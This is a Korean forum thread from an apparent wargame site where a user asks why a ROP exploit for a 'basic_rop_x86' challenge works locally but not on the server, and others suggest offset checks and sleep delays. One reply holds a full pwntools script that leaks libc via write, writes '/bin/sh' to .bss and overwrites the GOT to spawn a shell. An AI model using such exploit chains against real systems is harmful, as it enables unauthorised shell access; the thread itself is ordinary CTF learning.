로컬에서는 되는데 서버에 접속하면 안됩니다

로컬에 ASLR 적용했고 정상적으로 쉘 뜨는것도 확인했는데

같은 코드로 서버에 접속해서 실행하면 오류가 납니다

맨처음 read_got를 write 하는 payload 보내고 recv 받는값 찍어보니까 로컬에서는 잘 읽어오는데, 서버에서는 맨 처음 buf에 저장하는 aaaa를 읽어오네요

aaaa를 읽어왔다는건 read_got에 buf 에 입력했던 a*72가 저장되어있다는건데,

write가 호출됬다는건 write_plt가 스택에 잘 들어간거고 a는 딱 buf와 SFP 까지만 채워졌다는건데 원인을 모르겠네요..

혹시 짐작되시는 원인이 있다면 알려주시면 감사하겠습니다

#pwnable
작성자 정보
답변 4
Karatus
워게임: 50

write_plt가 스택에 들어간 것과는 상관없이 main 함수 마지막에 호출하는게 write로 buf를 buf 사이즈만큼 화면에 출력해주니까 a가 0x40번 출력되는거 아닐까요?

서버에서 쉘 안 따지는 이유는 페이로드를 모르니 다른게 원인인 것 같습니다.

2021.03.04. 21:54
avatar
T@ke_it_EZ
질문 등록: 10

댓글에 마크다운 형식이 입력되지 않아서 다시 작성합니다

마지막에 출력되는 건 제가 보낸 payload 맨 첫 부분에서 read_got를 write 하는 부분이 잘 동작하는지 확인하기 위해 직접 print 함수를 사용하기 때문입니다

write_got를 system_got로 변경하기 때문에 마지막에 write 호출 시 system 함수가 호출되구요

파이썬 스크립트의 주요 부분은 아래와 같습니다 (로컬에서는 동작함)

bss = 0x804a040 # readelf -S ./basic_rop_x86 | grep bss
read_plt = 0x80483f0 
read_got = 0x804a00c 
write_plt = 0x8048450 
write_got = 0x804a024

#system_offset = 0xacf30 # gdb peda에서 p read-system 명령어 입력
system_offset = 0x3a940 # readelf -s ./libc.so.6 | grep system
p3r = 0x8048689 # gdb peda에서 ropgadget 명령어 입력

payload = "a" * 72

#1. write 함수로 프로세스 실행 당시의 read_got(read 함수의 실제 주소)에 저장된 값을 4byte 만큼 읽어서 출력함 
payload += p32(write_plt) 
payload += p32(p3r) 
payload += p32(1) 
payload += p32(read_got) 
payload += p32(4) 

#3. read 함수를 호출 

#5. bss 영역에 /bin/sh\00이 저장됨 
payload += p32(read_plt) 
payload += p32(p3r) 
payload += p32(0)
payload += p32(bss) 
payload += p32(8) 

#6. read 함수 호출 

#8. write_got을 system 함수 주소로 덮어씀 got overwrite 
payload += p32(read_plt) 
payload += p32(p3r) 
payload += p32(0) 
payload += p32(write_got) 
payload += p32(4) 

#9. system 함수로 got이 덮어 씌어진 write 함수 호출하면 system 함수를 통해 bss에 저장된 /bin/sh 실행 
payload += p32(write_plt) 
payload += "A" * 4 
payload += p32(bss)

p.send(payload) 
#2. 출력되는 4byte의 read 함수 주소를 read_addr 변수에 저장하고 read 함수와 system 함수 사이의 offset을 이용하여 프로세스 실행 당시의 system adress의 주소를 구함
read_addr = u32(p.recv()[-4:])
print(hex(read_addr))
libc = read_addr - 0xe7870
#system_address = read_addr - system_offset
system_address = libc + system_offset 

#4. /bin/sh 입력 
p.send("/bin/sh\x00") 

#7. system 함수 주소 입력 
p.send(p32(system_address))
p.interactive()
2021.03.05. 09:09
avatar
snwo
CTF First Place

로되리안 현상이네요. 다른함수를 덮거나 서버라이브러리에 맞는 offset 사용했는지 체크, context.log_level='debug' 를 추가해 leak addr이 어디있는지, sleep 사용해보기 등이 있습니다

2021.03.05. 17:46
avatar
Sechack
CTF First Place

sendafter이나 sendlineafter이 아닌 그냥 send함수나 sendline을 사용할경우 sleep함수로 약간의 딜레이를 걸어줘야 합니다. 로컬에서야 pwntools의 입력속도보다 처리속도가 빨라서 될수는 있어도 서버는 네트워크를 통해 데이터를 주고받기 때문에 서버가 입력을 처리하기 전에 데이터를 보내버리면 익스플로잇이 실패하게 됩니다. 저도 처음에 그것때문에 로되리안 현상 났던 기억이 나네요. send함수 호출하는 부분에 각각 sleep(0.5)나 sleep(1)정도 걸고 다시 시도해보세요. 만약 다시 시도해도 안된다면 Sechack#1869(디스코드)로 연락주세요.

페이로드상에는 문제 없어보입니다.

2021.03.07. 14:23
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기